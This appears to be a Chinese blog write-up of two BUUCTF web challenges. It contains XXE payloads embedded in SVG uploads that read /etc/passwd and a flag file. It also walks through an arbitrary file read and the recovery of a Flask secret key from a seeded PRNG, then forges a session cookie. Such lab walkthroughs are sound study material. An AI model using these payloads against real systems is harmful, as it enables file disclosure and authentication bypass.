【BUUCTF】web(第4页wp)

本文最后更新于:2023年8月25日 下午

[TOC]

【BUUCTF】web(第4页wp)

[BSidesCF 2019]SVGMagic

image-20230809163252626

要我们上传svg图片,于是查询了一下svg图片的格式:

1
2
3
4
5
6
7
8
9
10
11
12
<svg version="1.1"
  baseProfile="full"
  width="300" height="200"
  xmlns="http://www.w3.org/2000/svg">

  <rect width="100%" height="100%" stroke="red" stroke-width="4" fill="yellow" />

  <circle cx="150" cy="100" r="80" fill="green" />

  <text x="150" y="115" font-size="16" text-anchor="middle" fill="white">RUNOOB SVG TEST</text>

</svg>

就是xml的格式,于是我们可以使用xxe漏洞

构造:

1
2
3
4
5
6
7
<?xml version="1.0" encoding = "UTF-8"?>
<!DOCTYPE TEST [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="400">
<text x="20" y="20">&file;</text>
</svg>

这里我们不知道工作目录,有一个重要的点:

/proc/self/cwd代表当前工作目录

所以我们可以:/proc/self/cwd/flag.txt 获得flag:

1
2
3
4
5
6
7
<?xml version="1.0" encoding = "UTF-8"?>
<!DOCTYPE TEST [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt">
]>
<svg width="500" height="400">
<text x="20" y="20">&file;</text>
</svg>

image-20230809163559448

[CISCN2019 华东南赛区]Web4

打开首页发现一个读文件的路由,默认读取baidu,于是我们想到任意文件读取漏洞,读取到了app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

这里访问/flag,如果session['username'] == 'fuck',那么就给我们flag,但是观察一下好像没有地方可以改变session

于是我们注意到这里:

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

这里seed里的数uuid.getnode()是去获得本机的网卡地址,是一个固定值,那么random.seed()的种子值是一个固定的值,这样每次执行的结果都会一样,我们可以通过这个伪随机数的特性,获得SECRET_KEY

首先mac地址的路径为:/sys/class/net/eth0/address

image-20230730191450934

1
3e:90:3d:44:c6:b8

(这里有一个很坑的地方,python2和python3random.random()返回的位数不一样)

这里我们注意到print str(ex) 所以是python2,我们写脚本获得key:

1
2
3
4
5
import random
random.seed(0x3e903d44c6b8)
print(str(random.random()*233))

# 99.7925476328

然后伪造session:(需要使用python2)

1
2
3
4
5
6
> python2 flask_session_cookie_manager2.py decode -s '99.7925476328' -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZMZCTw.sPDA4LgDEX86wL6dQ47agGUXveY'                                   
{u'username': 'www-data'}


> python2 flask_session_cookie_manager2.py encode -s '99.7925476328' -t "{u'username': 'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZMZDRA.ROFgzhQXelSOrBQpyeB-ByGVb1o

image-20230730191631176


【BUUCTF】web(第4页wp)
https://leekosss.github.io/2023/08/24/[BUUCTF]web(第4页wp)/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议